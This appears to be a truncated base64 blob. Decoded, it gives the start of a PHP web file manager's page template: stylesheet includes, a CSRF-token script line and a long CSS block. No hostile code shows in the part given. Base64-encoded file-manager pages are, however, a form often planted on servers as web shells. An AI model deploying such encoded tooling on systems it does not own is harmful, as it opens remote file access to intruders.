cGhwIHByaW50X2V4dGVybmFsKCdjc3MtYm9vdHN0cmFwJyk7ID8+XG4gICAgICAgIDw/cGhwIHByaW50X2V4dGVybmFsKCdjc3MtZm9udC1hd2Vzb21lJyk7ID8+XG4gICAgICAgIDw/cGhwIGlmIChGTV9VU0VfSElHSExJR0hUSlMgJiYgaXNzZXQoJF9HRVRbJ3ZpZXcnXSkpOiA/PlxuICAgICAgICAgICAgPD9waHAgcHJpbnRfZXh0ZXJuYWwoJ2Nzcy1oaWdobGlnaHRqcycpOyA/PlxuICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgPHNjcmlwdCB0eXBlPVwidGV4dFwvamF2YXNjcmlwdFwiPlxuICAgICAgICAgICAgd2luZG93LmNzcmYgPSAnPD9waHAgZWNobyAkX1NFU1NJT05bJ3Rva2VuJ107ID8+JztcbiAgICAgICAgPFwvc2NyaXB0PlxuICAgICAgICA8c3R5bGU+XG4gICAgICAgICAgICBodG1sIHtcbiAgICAgICAgICAgICAgICAtbW96LW9zeC1mb250LXNtb290aGluZzogZ3JheXNjYWxlO1xuICAgICAgICAgICAgICAgIC13ZWJraXQtZm9udC1zbW9vdGhpbmc6IGFudGlhbGlhc2VkO1xuICAgICAgICAgICAgICAgIHRleHQtcmVuZGVyaW5nOiBvcHRpbWl6ZUxlZ2liaWxpdHk7XG4gICAgICAgICAgICAgICAgaGVpZ2h0OiAxMDAlO1xuICAgICAgICAgICAgICAgIHNjcm9sbC1iZWhhdmlvcjogc21vb3RoO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAqLFxuICAgICAgICAgICAgKjo6YmVmb3JlLFxuICAgICAgICAgICAgKjo6YWZ0ZXIge1xuICAgICAgICAgICAgICAgIGJveC1zaXppbmc6IGJvcmRlci1ib3g7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGJvZHkge1xuICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMTVweDtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzIyMjtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjRjdGN0Y3O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBib2R5Lm5hdmJhci1maXhlZCB7XG4gICAgICAgICAgICAgICAgbWFyZ2luLXRvcDogNTVweDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgYSxcbiAgICAgICAgICAgIGE6aG92ZXIsXG4gICAgICAgICAgICBhOnZpc2l0ZWQsXG4gICAgICAgICAgICBhOmZvY3VzIHtcbiAgICAgICAgICAgICAgICB0ZXh0LWRlY29yYXRpb246IG5vbmUgIWltcG9ydGFudDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZpbGVuYW1lLFxuICAgICAgICAgICAgdGQsXG4gICAgICAgICAgICB0aCB7XG4gICAgICAgICAgICAgICAgd2hpdGUtc3BhY2U6IG5vd3JhcFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubmF2YmFyLWJyYW5kIHtcbiAgICAgICAgICAgICAgICBmb250LXdlaWdodDogYm9sZDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLm5hdi1pdGVtLmF2YXRhciBhIHtcbiAgICAgICAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7XG4gICAgICAgICAgICAgICAgdGV4dC10cmFuc2Zvcm06IGNhcGl0YWxpemU7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5uYXYtaXRlbS5hdmF0YXIgYT5pIHtcbiAgICAgICAgICAgICAgICBmb250LXNpemU6IDE1cHg7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5uYXYtaXRlbS5hdmF0YXIgLmRyb3Bkb3duLW1lbnUgYSB7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAxM3B4O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjc2VhcmNoLWFkZG9uIHtcbiAgICAgICAgICAgICAgICBmb250LXNpemU6IDEycHg7XG4gICAgICAgICAgICAgICAgYm9yZGVyLXJpZ2h0LXdpZHRoOiAwO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuYnJsLTAge1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6IHRyYW5zcGFyZW50O1xuICAgICAgICAgICAgICAgIGJvcmRlci1sZWZ0OiAwO1xuICAgICAgICAgICAgICAgIGJvcmRlci10b3AtbGVmdC1yYWRpdXM6IDA7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWJvdHRvbS1sZWZ0LXJhZGl1czogMDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJyci0wIHtcbiAgICAgICAgICAgICAgICBib3JkZXItdG9wLXJpZ2h0LXJhZGl1czogMDtcbiAgICAgICAgICAgICAgICBib3JkZXItYm90dG9tLXJpZ2h0LXJhZGl1czogMDtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJyZWFkLWNydW1iIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogI2NjY2NjYztcbiAgICAgICAgICAgICAgICBmb250LXN0eWxlOiBub3JtYWw7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICNtYWluLXRhYmxlIHtcbiAgICAgICAgICAgICAgICB0cmFuc2l0aW9uOiB0cmFuc2Zvcm0gLjI1cyBjdWJpYy1iZXppZXIoMC40LCAwLjUsIDAsIDEpLCB3aWR0aCAwcyAuMjVzO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjbWFpbi10YWJsZSAuZmlsZW5hbWUgYSB7XG4gICAgICAgICAgICAgICAgY29sb3I6ICMyMjIyMjI7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC50YWJsZSB0ZCxcbiAgICAgICAgICAgIC50YWJsZSB0aCB7XG4gICAgICAgICAgICAgICAgdmVydGljYWwtYWxpZ246IG1pZGRsZSAhaW1wb3J0YW50O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAudGFibGUgLmN1c3RvbS1jaGVja2JveC10ZCAuY3VzdG9tLWNvbnRyb2wuY3VzdG9tLWNoZWNrYm94LFxuICAgICAgICAgICAgLnRhYmxlIC5jdXN0b20tY2hlY2tib3gtaGVhZGVyIC5jdXN0b20tY29udHJvbC5jdXN0b20tY2hlY2tib3gge1xuICAgICAgICAgICAgICAgIG1pbi13aWR0aDogMThweDtcbiAgICAgICAgICAgICAgICBkaXNwbGF5OiBmbGV4O1xuICAgICAgICAgICAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7XG4gICAgICAgICAgICAgICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC50YWJsZS1zbSB0ZCxcbiAgICAgICAgICAgIC50YWJsZS1zbSB0aCB7XG4gICAgICAgICAgICAgICAgcGFkZGluZzogLjRyZW07XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC50YWJsZS1ib3JkZXJlZCB0ZCxcbiAgICAgICAgICAgIC50YWJsZS1ib3JkZXJlZCB0aCB7XG4gICAgICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgI2YxZjFmMTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmhpZGRlbiB7XG4gICAgICAgICAgICAgICAgZGlzcGxheTogbm9uZVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBwcmUud2l0aC1obGpzIHtcbiAgICAgICAgICAgICAgICBwYWRkaW5nOiAwO1xuICAgICAgICAgICAgICAgIG92ZXJmbG93OiBoaWRkZW47XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIHByZS53aXRoLWhsanMgY29kZSB7XG4gICAgICAgICAgICAgICAgbWFyZ2luOiAwO1xuICAgICAgICAgICAgICAgIGJvcmRlcjogMDtcbiAgICAgICAgICAgICAgICBvdmVyZmxvdzogc2Nyb2xsO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBjb2RlLm1heGhlaWdodCxcbiAgICAgICAgICAgIHByZS5tYXhoZWlnaHQge1xuICAgICAgICAgICAgICAgIG1heC1oZWlnaHQ6IDUxMnB4XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5mYS5mYS1jYXJldC1yaWdodCB7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAxLjJlbTtcbiAgICAgICAgICAgICAgICBtYXJnaW46IDAgNHB4O1xuICAgICAgICAgICAgICAgIHZlcnRpY2FsLWFsaWduOiBtaWRkbGU7XG4gICAgICAgICAgICAgICAgY29sb3I6ICNlY2VjZWNcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZhLmZhLWhvbWUge1xuICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMS4zZW07XG4gICAgICAgICAgICAgICAgdmVydGljYWwtYWxpZ246IGJvdHRvbVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAucGF0aCB7XG4gICAgICAgICAgICAgICAgbWFyZ2luLWJvdHRvbTogMTBweFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBmb3JtLmRyb3B6b25lIHtcbiAgICAgICAgICAgICAgICBtaW4taGVpZ2h0OiAyMDBweDtcbiAgICAgICAgICAgICAgICBib3JkZXI6IDJweCBkYXNoZWQgIzAwN2JmZjtcbiAgICAgICAgICAgICAgICBsaW5lLWhlaWdodDogNnJlbTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLnJpZ2h0IHtcbiAgICAgICAgICAgICAgICB0ZXh0LWFsaWduOiByaWdodFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuY2VudGVyLFxuICAgICAgICAgICAgLmNsb3NlLFxuICAgICAgICAgICAgLmxvZ2luLWZvcm0sXG4gICAgICAgICAgICAucHJldmlldy1pbWctY29udGFpbmVyIHtcbiAgICAgICAgICAgICAgICB0ZXh0LWFsaWduOiBjZW50ZXJcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLm1lc3NhZ2Uge1xuICAgICAgICAgICAgICAgIHBhZGRpbmc6IDRweCA3cHg7XG4gICAgICAgICAgICAgICAgYm9yZGVyOiAxcHggc29saWQgI2RkZDtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5tZXNzYWdlLm9rIHtcbiAgICAgICAgICAgICAgICBib3JkZXItY29sb3I6IGdyZWVuO1xuICAgICAgICAgICAgICAgIGNvbG9yOiBncmVlblxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubWVzc2FnZS5lcnJvciB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiByZWQ7XG4gICAgICAgICAgICAgICAgY29sb3I6IHJlZFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAubWVzc2FnZS5hbGVydCB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLWNvbG9yOiBvcmFuZ2U7XG4gICAgICAgICAgICAgICAgY29sb3I6IG9yYW5nZVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAucHJldmlldy1pbWcge1xuICAgICAgICAgICAgICAgIG1heC13aWR0aDogMTAwJTtcbiAgICAgICAgICAgICAgICBtYXgtaGVpZ2h0OiA4MHZoO1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQ6IHVybChkYXRhOmltYWdlXC9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCQUFBQUFRQ0FJQUFBQ1FrV2cyQUFBQUtrbEVRVlI0Mm1MNVwvXC84XC9BemJ3K1BGanJPSk1EQ1NDVVEzRUFCWmM0UzByS3pzYVN2VFRBQkJnQU15ZkNNc1k0QjlpQUFBQUFFbEZUa1N1UW1DQyk7XG4gICAgICAgICAgICAgICAgY3Vyc29yOiB6b29tLWluXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGlucHV0I3ByZXZpZXctaW1nLXpvb21DaGVja1t0eXBlPWNoZWNrYm94XSB7XG4gICAgICAgICAgICAgICAgZGlzcGxheTogbm9uZVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpbnB1dCNwcmV2aWV3LWltZy16b29tQ2hlY2tbdHlwZT1jaGVja2JveF06Y2hlY2tlZH5sYWJlbD5pbWcge1xuICAgICAgICAgICAgICAgIG1heC13aWR0aDogbm9uZTtcbiAgICAgICAgICAgICAgICBtYXgtaGVpZ2h0OiBub25lO1xuICAgICAgICAgICAgICAgIGN1cnNvcjogem9vbS1vdXRcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmlubGluZS1hY3Rpb25zPmE+aSB7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAxZW07XG4gICAgICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IDVweDtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kOiAjMzc4NWMxO1xuICAgICAgICAgICAgICAgIGNvbG9yOiAjZmZmO1xuICAgICAgICAgICAgICAgIHBhZGRpbmc6IDNweCA0cHg7XG4gICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogM3B4O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAucHJldmlldy12aWRlbyB7XG4gICAgICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlO1xuICAgICAgICAgICAgICAgIG1heC13aWR0aDogMTAwJTtcbiAgICAgICAgICAgICAgICBoZWlnaHQ6IDA7XG4gICAgICAgICAgICAgICAgcGFkZGluZy1ib3R0b206IDYyLjUlO1xuICAgICAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDEwcHhcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLnByZXZpZXctdmlkZW8gdmlkZW8ge1xuICAgICAgICAgICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICAgICAgICAgICAgICB3aWR0aDogMTAwJTtcbiAgICAgICAgICAgICAgICBoZWlnaHQ6IDEwMCU7XG4gICAgICAgICAgICAgICAgbGVmdDogMDtcbiAgICAgICAgICAgICAgICB0b3A6IDA7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZDogIzAwMFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuY29tcGFjdC10YWJsZSB7XG4gICAgICAgICAgICAgICAgYm9yZGVyOiAwO1xuICAgICAgICAgICAgICAgIHdpZHRoOiBhdXRvXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5jb21wYWN0LXRhYmxlIHRkLFxuICAgICAgICAgICAgLmNvbXBhY3QtdGFibGUgdGgge1xuICAgICAgICAgICAgICAgIHdpZHRoOiAxMDBweDtcbiAgICAgICAgICAgICAgICBib3JkZXI6IDA7XG4gICAgICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5jb21wYWN0LXRhYmxlIHRyOmhvdmVyIHRkIHtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZmZmXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5maWxlbmFtZSB7XG4gICAgICAgICAgICAgICAgbWF4LXdpZHRoOiA0MjBweDtcbiAgICAgICAgICAgICAgICBvdmVyZmxvdzogaGlkZGVuO1xuICAgICAgICAgICAgICAgIHRleHQtb3ZlcmZsb3c6IGVsbGlwc2lzXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5icmVhay13b3JkIHtcbiAgICAgICAgICAgICAgICB3b3JkLXdyYXA6IGJyZWFrLXdvcmQ7XG4gICAgICAgICAgICAgICAgbWFyZ2luLWxlZnQ6IDMwcHhcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJyZWFrLXdvcmQuZmxvYXQtbGVmdCBhIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzdkN2Q3ZFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuYnJlYWstd29yZCsuZmxvYXQtcmlnaHQge1xuICAgICAgICAgICAgICAgIHBhZGRpbmctcmlnaHQ6IDMwcHg7XG4gICAgICAgICAgICAgICAgcG9zaXRpb246IHJlbGF0aXZlXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5icmVhay13b3JkKy5mbG9hdC1yaWdodD5hIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzdkN2Q3ZDtcbiAgICAgICAgICAgICAgICBmb250LXNpemU6IDEuMmVtO1xuICAgICAgICAgICAgICAgIG1hcmdpbi1yaWdodDogNHB4XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgICNlZGl0b3Ige1xuICAgICAgICAgICAgICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICAgICAgICAgICAgICByaWdodDogMTVweDtcbiAgICAgICAgICAgICAgICB0b3A6IDEwMHB4O1xuICAgICAgICAgICAgICAgIGJvdHRvbTogMTVweDtcbiAgICAgICAgICAgICAgICBsZWZ0OiAxNXB4XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIEBtZWRpYSAobWF4LXdpZHRoOjQ4MXB4KSB7XG4gICAgICAgICAgICAgICAgI2VkaXRvciB7XG4gICAgICAgICAgICAgICAgICAgIHRvcDogMTUwcHg7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjbm9ybWFsLWVkaXRvciB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLXJhZGl1czogM3B4O1xuICAgICAgICAgICAgICAgIGJvcmRlci13aWR0aDogMnB4O1xuICAgICAgICAgICAgICAgIHBhZGRpbmc6IDEwcHg7XG4gICAgICAgICAgICAgICAgb3V0bGluZTogbm9uZTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmJ0bi0yIHtcbiAgICAgICAgICAgICAgICBwYWRkaW5nOiA0cHggMTBweDtcbiAgICAgICAgICAgICAgICBmb250LXNpemU6IHNtYWxsO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBsaS5maWxlOmJlZm9yZSxcbiAgICAgICAgICAgIGxpLmZvbGRlcjpiZWZvcmUge1xuICAgICAgICAgICAgICAgIGZvbnQ6IG5vcm1hbCBub3JtYWwgbm9ybWFsIDE0cHhcLzEgRm9udEF3ZXNvbWU7XG4gICAgICAgICAgICAgICAgY29udGVudDogXCJcXGYwMTZcIjtcbiAgICAgICAgICAgICAgICBtYXJnaW4tcmlnaHQ6IDVweFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBsaS5mb2xkZXI6YmVmb3JlIHtcbiAgICAgICAgICAgICAgICBjb250ZW50OiBcIlxcZjExNFwiXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGkuZmEuZmEtZm9sZGVyLW8ge1xuICAgICAgICAgICAgICAgIGNvbG9yOiAjMDE1N2IzXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGkuZmEuZmEtcGljdHVyZS1vIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzI2Yjk5YVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpLmZhLmZhLWZpbGUtYXJjaGl2ZS1vIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogI2RhN2Q3ZFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuYnRuLTIgaS5mYS5mYS1maWxlLWFyY2hpdmUtbyB7XG4gICAgICAgICAgICAgICAgY29sb3I6IGluaGVyaXRcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgaS5mYS5mYS1jc3MzIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogI2YzNmZhMFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpLmZhLmZhLWZpbGUtY29kZS1vIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzAwN2JmZlxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpLmZhLmZhLWNvZGUge1xuICAgICAgICAgICAgICAgIGNvbG9yOiAjY2M0YjRjXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGkuZmEuZmEtZmlsZS10ZXh0LW8ge1xuICAgICAgICAgICAgICAgIGNvbG9yOiAjMDA5NmU2XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGkuZmEuZmEtaHRtbDUge1xuICAgICAgICAgICAgICAgIGNvbG9yOiAjZDc1ZTcyXG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGkuZmEuZmEtZmlsZS1leGNlbC1vIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogIzA5YzU1ZFxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpLmZhLmZhLWZpbGUtcG93ZXJwb2ludC1vIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogI2Y2NzEyZVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBpLmdvLWJhY2sge1xuICAgICAgICAgICAgICAgIGZvbnQtc2l6ZTogMS4yZW07XG4gICAgICAgICAgICAgICAgY29sb3I6ICMwMDdiZmY7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5tYWluLW5hdiB7XG4gICAgICAgICAgICAgICAgcGFkZGluZzogMC4ycmVtIDFyZW07XG4gICAgICAgICAgICAgICAgYm94LXNoYWRvdzogMCA0cHggNXB4IDAgcmdiYSgwLCAwLCAwLCAuMTQpLCAwIDFweCAxMHB4IDAgcmdiYSgwLCAwLCAwLCAuMTIpLCAwIDJweCA0cHggLTFweCByZ2JhKDAsIDAsIDAsIC4yKVxuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAuZGF0YVRhYmxlc19maWx0ZXIge1xuICAgICAgICAgICAgICAgIGRpc3BsYXk6IG5vbmU7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIHRhYmxlLmRhdGFUYWJsZSB0aGVhZCAuc29ydGluZyB7XG4gICAgICAgICAgICAgICAgY3Vyc29yOiBwb2ludGVyO1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtcmVwZWF0OiBuby1yZXBlYXQ7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1wb3NpdGlvbjogY2VudGVyIHJpZ2h0O1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtaW1hZ2U6IHVybCgnZGF0YTppbWFnZVwvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQk1BQUFBVENBUUFBQURZV2Y1SEFBQUFrRWxFUVZRb3o3WFFNUTVBUUJDRjRkV1FTSnhDNXd3YXgxQ3ExZTdCQWR4RDVTTCtUcVwvUUNNMW9OaUppZHdveDAzNTVtWG5HXC9EckV0SVE2YXppb05aUXhJMHlrUGhUUUl3aENSK0JtQll0bEs3a0xKWXdXQ2NKQTlNNHFkclpyZDhwUGpaV1B0T3FkUlF5MzIwWVNWMTdPYXRGQzRldXRzNnozOUdZTUtSUENUS1k5VW5QUTZQK0d0TVJmR3RQbkJDaXFoQWVKUG1rcUFBQUFBRWxGVGtTdVFtQ0MnKTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgdGFibGUuZGF0YVRhYmxlIHRoZWFkIC5zb3J0aW5nX2FzYyB7XG4gICAgICAgICAgICAgICAgY3Vyc29yOiBwb2ludGVyO1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtcmVwZWF0OiBuby1yZXBlYXQ7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1wb3NpdGlvbjogY2VudGVyIHJpZ2h0O1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtaW1hZ2U6IHVybCgnZGF0YTppbWFnZVwvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQk1BQUFBVENBWUFBQUJ5VURiTUFBQUFaMGxFUVZRNHkyTmdHTEtncXVFdUZ4QlBBR0kyYWhoV0NzU1wvZ0RpYlVvTzBnUGd4RVA4SDR0dEFyRXl1UVl4QVBCZHFFQXhQQkltVFk1Z2pFTDlETSt3VEVOdVFhaEF2RU85RE13aUdkd0F4T3ltR0pRTHhUeUQramdXRHhDTVpSc0VvR0FWb0FBRGVlbXd0UGNaSTJ3QUFBQUJKUlU1RXJrSmdnZz09Jyk7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIHRhYmxlLmRhdGFUYWJsZSB0aGVhZCAuc29ydGluZ19kZXNjIHtcbiAgICAgICAgICAgICAgICBjdXJzb3I6IHBvaW50ZXI7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1yZXBlYXQ6IG5vLXJlcGVhdDtcbiAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLXBvc2l0aW9uOiBjZW50ZXIgcmlnaHQ7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1pbWFnZTogdXJsKCdkYXRhOmltYWdlXC9wbmc7YmFzZTY0LGlWQk9SdzBLR2dvQUFBQU5TVWhFVWdBQUFCTUFBQUFUQ0FZQUFBQnlVRGJNQUFBQVpVbEVRVlE0eTJOZ0dBV2pZQlNnZ2FxR3U1RkFcL0JPSXYyUEJJUEZFVWd4akIrSWRRUHdmQzk0SHhMeWt1czRHaUQraEdmUU9pQjNKOFNvakVFOUVNMnd1U0p6Y3NGTUc0dHRRZ3g0RHNSYWxrWkVOeEwrQXVKUWFNY3NHeEJPQW1Hdm9wazhBVnoxc0xaZ2cwYnNBQUFBQVNVVk9SSzVDWUlJPScpO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICB0YWJsZS5kYXRhVGFibGUgdGhlYWQgdHI6Zmlyc3QtY2hpbGQgdGguY3VzdG9tLWNoZWNrYm94LWhlYWRlcjpmaXJzdC1jaGlsZCB7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1pbWFnZTogbm9uZTtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgLmZvb3Rlci1hY3Rpb24gbGkge1xuICAgICAgICAgICAgICAgIG1hcmdpbi1ib3R0b206IDEwcHg7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIC5hcHAtdi10aXRsZSB7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAyNHB4O1xuICAgICAgICAgICAgICAgIGZvbnQtd2VpZ2h0OiAzMDA7XG4gICAgICAgICAgICAgICAgbGV0dGVyLXNwYWNpbmc6IC0uNXB4O1xuICAgICAgICAgICAgICAgIHRleHQtdHJhbnNmb3JtOiB1cHBlcmNhc2U7XG4gICAgICAgICAgICB9XG5cbiAgICAgICAgICAgIGhyLmN1c3RvbS1ociB7XG4gICAgICAgICAgICAgICAgYm9yZGVyLXRvcDogMXB4IGRhc2hlZCAjOGM4YjhiO1xuICAgICAgICAgICAgICAgIGJvcmRlci1ib3R0b206IDFweCBkYXNoZWQgI2ZmZjtcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgI3NuYWNrYmFyIHtcbiAgICAgICAgICAgICAgICB2aXNpYmlsaXR5OiBoaWRkZW47XG4gICAgICAgICAgICAgICAgbWluLXdpZHRoOiAyNTBweDtcbiAgICAgICAgICAgICAgICBtYXJnaW4tbGVmdDogLTEyNXB4O1xuICAgICAgICAgICAgICAgIGJhY2tncm91bmQtY29sb3I6ICMzMzM7XG4gICAgICAgICAgICAgICAgY29sb3I6ICNmZmY7XG4gICAgICAgICAgICAgICAgdGV4dC1hbGlnbjogY2VudGVyO1xuICAgICAgICAgICAgICAgIGJvcmRlci1yYWRpdXM6IDJweDtcbiAgICAgICAgICAgICAgICBwYWRkaW5nOiAxNnB4O1xuICAgICAgICAgICAgICAgIHBvc2l0aW9uOiBmaXhlZDtcbiAgICAgICAgICAgICAgICB6LWluZGV4OiAxO1xuICAgICAgICAgICAgICAgIGxlZnQ6IDUwJTtcbiAgICAgICAgICAgICAgICBib3R0b206IDMwcHg7XG4gICAgICAgICAgICAgICAgZm9udC1zaXplOiAxN3B4O1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAjc25hY2tiYXIuc2hvdyB7XG4gICAgICAgICAgICAgICAgdmlzaWJpbGl0eTogdmlzaWJsZTtcbiAgICAgICAgICAgICAgICAtd2Via2l0LWFuaW1hdGlvbjogZmFkZWluIDAuNXMsIGZhZGVvdXQgMC41cyAyLjVzO1xuICAgICAgICAgICAgICAgIGFuaW1hdGlvbjogZmFkZWluIDAuNXMsIGZhZGVvdXQgMC41cyAyLjVzO1xuICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICBALXdlYmtpdC1rZXlmcmFtZXMgZmFkZWluIHtcbiAgICAgICAgICAgICAgICBmcm9tIHtcbiAgICAgICAgICAgICAgICAgICAgYm90dG9tOiAwO1xuICAgICAgICAgICAgICAgICAgICBvcGFjaXR5OiAwO1xuICAgICAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgICAgIHRvIHtcbiAgICAgICAgICAgICAgICAgICAgYm90dG9tOiAzMHB4O1xuICAgICAgICAgICAgICAgICAgICBvcGFjaXR5OiAxO1xuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgQGtleWZyYW1lcyBmYWRlaW4ge1xuICAgICAgICAgICAgICAgIGZyb20ge1xuICAgICAgICAgICAgICAgICAgICBib3R0b206IDA7XG4gICAgICAgICAgICAgICAgICAgIG9wYWNpdHk6IDA7XG4gICAgICAgICAgICAgICAgfVxuXG4gICAgICAgICAgICAgICAgdG8ge1xuICAgICAgICAgICAgICAgICAgICBib3R0b206IDMwcHg7XG4gICAgICAgICAgICAgICAgICAgIG9wYWNpdHk6IDE7XG4gICAgICAgICAgICAgICAgf